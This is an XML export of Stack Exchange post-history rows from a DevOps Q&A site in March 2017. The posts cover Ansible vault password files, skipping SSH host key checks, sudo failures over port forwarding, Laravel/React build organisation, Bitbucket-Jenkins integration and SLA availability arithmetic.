  <row Id="2301" PostHistoryTypeId="5" PostId="720" RevisionGUID="70a89eea-ae06-445d-8c9c-6b71636fdfba" CreationDate="2017-03-30T09:08:43.330" UserId="884" Comment="grammar" Text="We have a mono-laravel-repo and are in the process of migrating to a cleaner, easier to maintain dev reboot.&#xD;&#xA;&#xD;&#xA;We have recently moved towards migrating our existing PHP based views into multiple React-based &quot;features&quot; that live in a `/react` directory and are organised into `/react/featureName` sub-directories. This means Laravel's controllers mostly handle data and authentication only.&#xD;&#xA;&#xD;&#xA;Each feature is maintained by one or more developers, have their own dependancies, tests and functionality. &#xD;&#xA;&#xD;&#xA;We're currently serving builds in the public root of our project organised by feature:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    js/FeatureName.hashed.js&#xD;&#xA;    css/FeatureName.hased.css&#xD;&#xA;&#xD;&#xA;which works great except that we share many packages between `features`. React itself, react-router etc.&#xD;&#xA;&#xD;&#xA;We intend to use Laravel's `mix.js` as much as possible, but hacking directly on `webpack.config` is also an option. &#xD;&#xA;&#xD;&#xA;I've explored the `mix.extract()` option that allows us to define *vendor.js* builds separate from other application logic but it stops there.&#xD;&#xA;&#xD;&#xA;So here are my question(s)&#xD;&#xA;&#xD;&#xA; 1. What approaches are there to manage multiple `package.json` files that live in each feature directory&#xD;&#xA; 2. How do we identify common packages and lock them into a root `/package.json` file. (Independently, all developers already use `yarn`)&#xD;&#xA; 3. How to accomplish this with as little friction as possible for all react based developers - so that they get to simply continue with whatever they are already doing and devOps handles the gritty bits?&#xD;&#xA;&#xD;&#xA;I understand there might be a need for more information, please shout out what you need in the comments and I'd be happy to update the question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(Feel free to add relevant tags as you see fit, I don't have enough rep to do so)" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostHistoryTypeId="5" PostId="721" RevisionGUID="e20f8c13-b135-4a88-996d-064592f1b17a" CreationDate="2017-03-30T09:31:08.880" UserId="210" Comment="added 145 characters in body" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;Another attempt was specifying the full path instead of using `~`, i.e. `/home/user/.vault_pass.txt`, but then the decryption failed as well.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;Perhaps this issue is related to the ansible version:&#xD;&#xA;&#xD;&#xA;    user@host:/dir$ ansible --version&#xD;&#xA;    ansible 2.2.2.0&#xD;&#xA;      config file = /etc/ansible/ansible.cfg&#xD;&#xA;      configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostHistoryTypeId="5" PostId="721" RevisionGUID="f29d416c-e90c-490c-896a-cf9ad7091c58" CreationDate="2017-03-30T09:36:28.573" UserId="210" Comment="added 145 characters in body" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;Another attempt was specifying the full path instead of using `~`, i.e. `/home/user/.vault_pass.txt`, but then the decryption failed as well.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA; - &gt; Is the pass correct for this vault?&#xD;&#xA;&#xD;&#xA;Yes. When ansible is run using `--vault-password-file=~/.vault_pass.txt` the decryption succeeds.&#xD;&#xA;&#xD;&#xA; - &gt; Just so that we're clear - the name of the environment variable is `ANSIBLE_VAULT_PASSWORD_FILE`, correct?&#xD;&#xA;&#xD;&#xA; - Perhaps this issue is related to the ansible version:&#xD;&#xA;&#xD;&#xA;        user@host:/dir$ ansible --version&#xD;&#xA;        ansible 2.2.2.0&#xD;&#xA;            config file = /etc/ansible/ansible.cfg&#xD;&#xA;            configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA; - &gt; Does using a full path in the config works?&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostHistoryTypeId="5" PostId="721" RevisionGUID="fb5e679d-749f-4335-b331-3864c1284517" CreationDate="2017-03-30T09:42:03.433" UserId="210" Comment="added 145 characters in body" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA; - &gt; Is the pass correct for this vault?&#xD;&#xA;&#xD;&#xA;Yes. When ansible is run using `--vault-password-file=~/.vault_pass.txt` the decryption succeeds.&#xD;&#xA;&#xD;&#xA; - &gt; Just so that we're clear - the name of the environment variable is `ANSIBLE_VAULT_PASSWORD_FILE`, correct?&#xD;&#xA;&#xD;&#xA; - &gt; What Ansible version is used?&#xD;&#xA;&#xD;&#xA;        user@host:/dir$ ansible --version&#xD;&#xA;        ansible 2.2.2.0&#xD;&#xA;            config file = /etc/ansible/ansible.cfg&#xD;&#xA;            configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA; - &gt; Does using a full path in the config works?&#xD;&#xA;&#xD;&#xA;The decryption failes as well when the full path instead of `~`, i.e. `/home/user/.vault_pass.txt` was specified.&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostHistoryTypeId="5" PostId="721" RevisionGUID="fc33fa06-3889-4a32-9f5b-25b0c9090bf1" CreationDate="2017-03-30T10:00:48.467" UserId="210" Comment="added 7 characters in body" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA; - &gt; Is the pass correct for this vault?&#xD;&#xA;&#xD;&#xA;Yes. When ansible is run using `--vault-password-file=~/.vault_pass.txt` the decryption succeeds.&#xD;&#xA;&#xD;&#xA; - &gt; Just so that we're clear - the name of the environment variable is `ANSIBLE_VAULT_PASSWORD_FILE`, correct?&#xD;&#xA;&#xD;&#xA;Yes&#xD;&#xA;&#xD;&#xA; - &gt; What Ansible version is used?&#xD;&#xA;&#xD;&#xA;        user@host:/dir$ ansible --version&#xD;&#xA;        ansible 2.2.2.0&#xD;&#xA;            config file = /etc/ansible/ansible.cfg&#xD;&#xA;            configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA; - &gt; Does using a full path in the config works?&#xD;&#xA;&#xD;&#xA;The decryption failes as well when the full path instead of `~`, i.e. `/home/user/.vault_pass.txt` was specified.&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2306" PostHistoryTypeId="5" PostId="721" RevisionGUID="6a3cb0e2-b77f-4f23-8710-64668a46b71c" CreationDate="2017-03-30T11:41:42.730" UserId="210" Comment="added 120 characters in body" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA; - &gt; Is the pass correct for this vault?&#xD;&#xA;&#xD;&#xA;Yes. When ansible is run using `--vault-password-file=~/.vault_pass.txt` the decryption succeeds.&#xD;&#xA;&#xD;&#xA; - &gt; Just so that we're clear - the name of the environment variable is `ANSIBLE_VAULT_PASSWORD_FILE`, correct?&#xD;&#xA;&#xD;&#xA;No. When this variable is used it works, but the aim is to set it in the ansible.cfg by setting `/etc/ansible/ansible.cfg`.&#xD;&#xA;&#xD;&#xA; - &gt; What Ansible version is used?&#xD;&#xA;&#xD;&#xA;        user@host:/dir$ ansible --version&#xD;&#xA;        ansible 2.2.2.0&#xD;&#xA;            config file = /etc/ansible/ansible.cfg&#xD;&#xA;            configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA; - &gt; Does using a full path in the config works?&#xD;&#xA;&#xD;&#xA;The decryption failes as well when the full path instead of `~`, i.e. `/home/user/.vault_pass.txt` was specified.&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostHistoryTypeId="4" PostId="720" RevisionGUID="59fd9735-ba93-4dc1-a0f2-004891dd83f8" CreationDate="2017-03-30T12:41:42.583" UserId="884" Comment="modified the question." Text="How to integrate multiple &quot;feature&quot; react apps into monolithic PHP repo" ContentLicense="CC BY-SA 3.0" />
  <row Id="2309" PostHistoryTypeId="5" PostId="704" RevisionGUID="26e1d04e-9e79-4530-808c-f64e9287dade" CreationDate="2017-03-30T13:48:38.560" UserId="228" Comment="added 137 characters in body" Text="[Here][1] is the definition:&#xD;&#xA;&#xD;&#xA;    DEFAULT_VAULT_PASSWORD_FILE = get_config(p, DEFAULTS, 'vault_password_file', \&#xD;&#xA;    'ANSIBLE_VAULT_PASSWORD_FILE', None, value_type='path')&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that you either put in ansible.cfg or playbook:&#xD;&#xA;&#xD;&#xA;    vault_password_file: ~/.vault_pass.txt&#xD;&#xA;&#xD;&#xA;Or in your shell defined this variable:&#xD;&#xA;&#xD;&#xA;    export ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="2310" PostHistoryTypeId="2" PostId="723" RevisionGUID="ac778751-9089-48e1-a7d8-a51d12b2fff3" CreationDate="2017-03-30T14:17:42.330" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostHistoryTypeId="1" PostId="723" RevisionGUID="ac778751-9089-48e1-a7d8-a51d12b2fff3" CreationDate="2017-03-30T14:17:42.330" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostHistoryTypeId="2" PostId="724" RevisionGUID="c6647591-c505-46f9-9b31-e6f5f53da136" CreationDate="2017-03-30T14:17:42.330" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2313" PostHistoryTypeId="1" PostId="724" RevisionGUID="c6647591-c505-46f9-9b31-e6f5f53da136" CreationDate="2017-03-30T14:17:42.330" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2314" PostHistoryTypeId="2" PostId="725" RevisionGUID="755b442f-33f9-48b2-b5d1-d47e5805b81d" CreationDate="2017-03-30T14:53:49.780" UserId="323" Text="I'm running an ansible playbook with a subtle hack to work on an arbitrary port forwarded port (so I can use one machine with no direct access to lots of machines).  &#xD;&#xA;&#xD;&#xA;I've got a pre-task to change the ansible_port variable, so then when I start running my real tasks and roles, I get prompted to accept the hostkeys for localhost on some random port.  &#xD;&#xA;&#xD;&#xA;Because I am naive and don't care about security, I would like ssh to auto-accept and redirect to /dev/null (or another file for logging). &#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2315" PostHistoryTypeId="1" PostId="725" RevisionGUID="755b442f-33f9-48b2-b5d1-d47e5805b81d" CreationDate="2017-03-30T14:53:49.780" UserId="323" Text="Can I bypass host key checking in ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostHistoryTypeId="3" PostId="725" RevisionGUID="755b442f-33f9-48b2-b5d1-d47e5805b81d" CreationDate="2017-03-30T14:53:49.780" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostHistoryTypeId="5" PostId="725" RevisionGUID="bd23b00b-fdc6-457d-a4d2-0ea0a36bd7c6" CreationDate="2017-03-30T14:59:53.450" UserId="184" Comment="Improved formatting" Text="I'm running an Ansible playbook with a subtle hack to work on an arbitrary port forwarded port (so I can use one machine with no direct access to lots of machines).  &#xD;&#xA;&#xD;&#xA;I've got a pre-task to change the `ansible_port` variable, so then when I start running my real tasks and roles, I get prompted to accept the hostkeys for localhost on some random port.  &#xD;&#xA;&#xD;&#xA;Because I am naive and don't care about security, I would like ssh to auto-accept and redirect to `/dev/null` (or another file for logging). &#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2318" PostHistoryTypeId="4" PostId="725" RevisionGUID="bd23b00b-fdc6-457d-a4d2-0ea0a36bd7c6" CreationDate="2017-03-30T14:59:53.450" UserId="184" Comment="Improved formatting" Text="Can I bypass host key checking in Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2319" PostHistoryTypeId="24" PostId="725" RevisionGUID="bd23b00b-fdc6-457d-a4d2-0ea0a36bd7c6" CreationDate="2017-03-30T14:59:53.450" Comment="Proposed by 184 approved by 323 edit id of 205" ContentLicense="CC BY-SA 3.0" />
  <row Id="2320" PostHistoryTypeId="6" PostId="268" RevisionGUID="b210dc3e-84a1-4cdf-b8dc-4a5c73f2a6f3" CreationDate="2017-03-30T15:32:09.723" UserId="13" Comment="Tag creation" Text="&lt;continuous-integration&gt;&lt;software-recommendation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2322" PostHistoryTypeId="2" PostId="726" RevisionGUID="48de6ca8-795a-4425-a855-81edaa608879" CreationDate="2017-03-30T16:13:06.910" UserId="228" Text="In your ansible.cfg file you need to add the following line:&#xD;&#xA;&#xD;&#xA;    ssh_args = -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no&#xD;&#xA;&#xD;&#xA;You could also add those options in your ~/.ssh/config on every machine from which you run it like this:&#xD;&#xA;&#xD;&#xA;    Host *&#xD;&#xA;       StrictHostKeyChecking no&#xD;&#xA;       UserKnownHostsFile=/dev/null" ContentLicense="CC BY-SA 3.0" />
  <row Id="2326" PostHistoryTypeId="5" PostId="722" RevisionGUID="c53fecfd-6d71-4168-8f73-ed9241d353c7" CreationDate="2017-03-30T17:13:17.833" UserId="887" Comment="added 155 characters in body" Text="You can install 'Bitbucket Server Webhook to Jenkins' in Bitbucket. &#xD;&#xA;https://marketplace.atlassian.com/plugins/com.nerdwin15.stash-stash-webhook-jenkins/server/overview&#xD;&#xA;&#xD;&#xA;Once install you will need to enable the 'Post Receive' Hook on the required repository.&#xD;&#xA;&#xD;&#xA;Remember to enable 'poll SCM' for the Jenkins Job.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;You can test the configuration of the plugin here:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E4lYe.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostHistoryTypeId="5" PostId="715" RevisionGUID="b649d698-ef8e-471d-92fd-a281f8a7355f" CreationDate="2017-03-30T18:26:25.887" UserId="13" Comment="added 69 characters in body" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be `1 - 0,00099975 =  0,99900025` wich in percent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (decimals are abbreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from &#xD;&#xA;&#xD;&#xA;**Math error below when trying to keep decimal low, to be reviewed soon**&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0.0975 * 0.0975 = 0,00950625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;    0.9999 * 0.99049375 = 0,990394701&#xD;&#xA;&#xD;&#xA;The overall availability is `99.0394701 %` &#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 3.0" />
  <row Id="2330" PostHistoryTypeId="2" PostId="728" RevisionGUID="1131cefb-d2a6-4cb2-b4f5-41a1c979c16b" CreationDate="2017-03-30T18:58:32.493" UserId="658" Text="This is how i've setup my Bitbucket Pull request's builder.&#xD;&#xA;&#xD;&#xA;[![Pull Request Builder Example][1]][1]&#xD;&#xA;&#xD;&#xA;**CRON**&#xD;&#xA;&#xD;&#xA;Use `* * * * *` and it will poll BitBucket every minute to check for PR's.&#xD;&#xA;&#xD;&#xA;**Credentials**&#xD;&#xA;&#xD;&#xA;Setup a shared credential that you can use amongst all projects.&#xD;&#xA;&#xD;&#xA;**Repo Owner &amp; Name**&#xD;&#xA;&#xD;&#xA;You should take the data from your repo URL/SSH like:&#xD;&#xA;&#xD;&#xA;`git@bitbucket.org:REPO_OWNER/REPO_NAME.git`&#xD;&#xA;&#xD;&#xA;**Branches Filter**&#xD;&#xA;&#xD;&#xA;You can choose to only build specific branches or leave it blank to build all.&#xD;&#xA;&#xD;&#xA;**CI Identifier &amp; Name**&#xD;&#xA;&#xD;&#xA;I set this as the name of our CI account we setup on BitBucket. If you create a new BitBucket account just for your pull requests, grant permission to the repositories that it needs. Then whatever username you set that new account to have enter it as the CI Name and CI Identifier.&#xD;&#xA;&#xD;&#xA;Finally, leave the bottom two options ticked.&#xD;&#xA;&#xD;&#xA;That's the settings that work for us.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2woNF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2331" PostHistoryTypeId="2" PostId="729" RevisionGUID="2f837e82-9612-4a02-8171-9a60012cbdb7" CreationDate="2017-03-30T19:05:36.423" UserId="323" Text="What does it mean when this:&#xD;&#xA;&#xD;&#xA;    EXEC sshpass -d29 ssh -C -vvv &#xD;&#xA;      -o ControlMaster=auto &#xD;&#xA;      -o ControlPersist=60s &#xD;&#xA;      -o ControlPath=&quot;/root/.ansible/cp/ansible-ssh-%h-%p-%r&quot; -o StrictHostKeyChecking=no\&#xD;&#xA;      -o Port=58030 &#xD;&#xA;      -o User=em7admin &#xD;&#xA;      -o ConnectTimeout=30 127.0.0.1 /bin/sh &#xD;&#xA;      -c 'sudo -H -p &quot;[sudo via ansible, key=mxraphooaxhpruunceorxkcelobceggf] password: &quot; &#xD;&#xA;      -S -u root /bin/sh &#xD;&#xA;      -c '&quot;'&quot;'echo BECOME-SUCCESS-mxraphooaxhpruunceorxkcelobceggf; LANG=C LC_MESSAGES=C LC_CTYPE=C /usr/bin/python'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;returns this:&#xD;&#xA;&#xD;&#xA;    debug1: Sending command: /bin/sh -c 'sudo -H -p \&quot;[sudo via ansible, key=mxraphooaxhpruunceorxkcelobceggf] password: \&quot; -S -u root /bin/sh -c '\&quot;'\&quot;'echo BECOME-SUCCESS-mxraphooaxhpruunceorxkcelobceggf; LANG=C LC_MESSAGES=C LC_CTYPE=C /usr/bin/python'\&quot;'\&quot;''&#xD;&#xA;    debug2: channel 2: request exec confirm 1&#xD;&#xA;    debug3: mux_session_confirm: sending success reply&#xD;&#xA;    debug2: callback done&#xD;&#xA;    debug2: channel 2: open confirm rwindow 0 rmax 32768&#xD;&#xA;    debug1: mux_client_request_session: master session id: 2&#xD;&#xA;    debug2: channel 2: rcvd adjust 2097152&#xD;&#xA;    debug2: channel_input_status_confirm: type 99 id 2&#xD;&#xA;    debug2: exec request accepted on channel 2&#xD;&#xA;    debug2: channel 2: read&lt;=0 rfd 6 len 0&#xD;&#xA;    debug2: channel 2: read failed&#xD;&#xA;    debug2: channel 2: close_read&#xD;&#xA;    debug2: channel 2: input open -&gt; drain&#xD;&#xA;    debug2: channel 2: ibuf empty&#xD;&#xA;    debug2: channel 2: send eof&#xD;&#xA;    debug2: channel 2: input drain -&gt; closed&#xD;&#xA;    debug2: channel 2: rcvd ext data 67&#xD;&#xA;    [sudo via ansible, key=mxraphooaxhpruunceorxkcelobceggf] password: debug2: channel 2: written 67 to efd 8&#xD;&#xA;    debug2: channel 2: rcvd ext data 18&#xD;&#xA;    debug2: channel 2: rcvd ext data 67&#xD;&#xA;    Sorry, try again.\n[sudo via ansible, key=mxraphooaxhpruunceorxkcelobceggf] password: debug2: channel 2: written 85 to efd 8&#xD;&#xA;    debug2: channel 2: rcvd ext data 18&#xD;&#xA;    debug2: channel 2: rcvd ext data 67&#xD;&#xA;    Sorry, try again.\n[sudo via ansible, key=mxraphooaxhpruunceorxkcelobceggf] password: debug2: channel 2: written 85 to efd 8&#xD;&#xA;    debug2: channel 2: rcvd ext data 18&#xD;&#xA;    debug2: channel 2: rcvd ext data 36&#xD;&#xA;    Sorry, try again.\nsudo: 3 incorrect password attempts\ndebug2: channel 2: written 54 to efd 8&#xD;&#xA;    debug1: client_input_channel_req: channel 2 rtype exit-status reply 0&#xD;&#xA;    debug3: mux_exit_message: channel 2: exit message, exitval 1&#xD;&#xA;    debug1: client_input_channel_req: channel 2 rtype eow@openssh.com reply 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've tried many combinations of ansible_ssh_pass and using the password from the commandline (I need to get ansible running so I can get the public keys on these devices),  but still it's sudo that isn't working.  Sudo does work for the username and password on the device.&#xD;&#xA;&#xD;&#xA;The only wacky thing I'm doing here is setting the ansible_port after the play starts.  &#xD;&#xA;&#xD;&#xA;    - hosts: devices&#xD;&#xA;      gather_facts: False&#xD;&#xA;      pre_tasks:&#xD;&#xA;      - name: Get ephemeral port&#xD;&#xA;        local_action: ephemeral_port&#xD;&#xA;        register: ephemeral_port&#xD;&#xA;      - name: Run local ssh command to enable proxy&#xD;&#xA;        local_action: shell /usr/bin/ssh -p {{proxy_port}} -o 'HostKeyAlias=[{{proxy_ip}}]:{{proxy_port}}' -o 'UserKnownHostsFile=/home/user/.ssh/known_hosts' -i /home/user/.ssh/id_dsa -o 'ConnectTimeout=5' -o 'ControlMaster=auto' -o 'ControlPath=%r@%h:%p' -o 'ControlPersist=10s' -f -N -l user -L {{ephemeral_port.port}}:{{silo_private_ip}}:22 {{proxy_ip}}&#xD;&#xA;      - name: Change ansible port to ephemeral port&#xD;&#xA;        set_fact:&#xD;&#xA;          ansible_port: &quot;{{ephemeral_port.port}}&quot;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: test&#xD;&#xA;          sudo: yes&#xD;&#xA;          shell: hostname&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I even had it working once, but I deleted the old playbook and I can't remember what was in it - this playbook is a lot simpler than the one I started with and I don't really want to start.&#xD;&#xA;&#xD;&#xA;If I take out the pre_task part it works fine too (I just ran it once, copied the port number and hard coded it in as the `ansible_port` in the host_vars file) &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2332" PostHistoryTypeId="1" PostId="729" RevisionGUID="2f837e82-9612-4a02-8171-9a60012cbdb7" CreationDate="2017-03-30T19:05:36.423" UserId="323" Text="Why is ansible not sending the correct sudo password?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2333" PostHistoryTypeId="3" PostId="729" RevisionGUID="2f837e82-9612-4a02-8171-9a60012cbdb7" CreationDate="2017-03-30T19:05:36.423" UserId="323" Text="&lt;ansible&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2334" PostHistoryTypeId="2" PostId="730" RevisionGUID="495379ac-a7e6-4cb3-9abe-41fbb4e5a184" CreationDate="2017-03-30T19:17:10.417" UserId="323" Text="The cure (or bandaid) was to set Pipelining=False in the ansible.cfg file.  &#xD;&#xA;&#xD;&#xA;This kind of stinks because I like Pipelining and it works, but I guess ansible is gonna treat that first ssh statement as something 'it owns' even though it's a local action.&#xD;&#xA;&#xD;&#xA;Try doing the portforwarding in the module and seeing if that makes doesn't confuse ansible. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2335" PostHistoryTypeId="5" PostId="719" RevisionGUID="2a2996f2-15d1-4f58-8332-f50e96ed7fa5" CreationDate="2017-03-30T19:23:56.393" UserId="14" Comment="Grammar; clarity" Text="I need to integrate BitBucket with Jenkins. So that whenever a PR is opened in BitBucket it will trigger a build in Jenkins. Can some one help with exact configuration step that should I follow in BitBucket and Jenkins to achieve this?&#xD;&#xA;&#xD;&#xA;So far, I've got this configuration:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/am4fb.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2336" PostHistoryTypeId="24" PostId="719" RevisionGUID="2a2996f2-15d1-4f58-8332-f50e96ed7fa5" CreationDate="2017-03-30T19:23:56.393" Comment="Proposed by 14 approved by 40, 47 edit id of 206" ContentLicense="CC BY-SA 3.0" />
